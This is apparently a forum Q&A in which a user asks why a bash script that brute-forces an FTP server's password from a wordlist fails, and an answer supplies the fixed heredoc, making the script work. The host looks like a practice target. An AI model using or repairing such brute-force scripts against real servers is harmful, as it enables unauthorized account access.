Bash Script: Error, unexpected end of file

Question

I'm writing a short bash script which brute forces an ftp server using a password list. Here is my code:

#!/bin/bash
USER="user"
PASS=""
filename="WORDLIST"

cat $filename | while read LINE; do
    PASS=$LINE
    ftp -inv services.cyberprotection.agency 2121 << EOF
    user $USER $PASS
done

When I run my script, I get this error:

syntax error: unexpected end of file

Can anyone suggest why I'm getting this error, thanks for any help.

Whenever you have a shell script error, a good first step is to cut and paste your code into shellcheck.net and correct the errors (important) and warnings (might be important) that it identifies. If you have trouble understanding its messages, then come here and ask. — John1024

You need to finish the heredoc:

#!/bin/bash
USER="user"
PASS=""
filename="WORDLIST"

while read LINE; do
    PASS=$LINE
    ftp -inv services.cyberprotection.agency 2121 << EOF
    user $USER $PASS
EOF
done < "$filename"
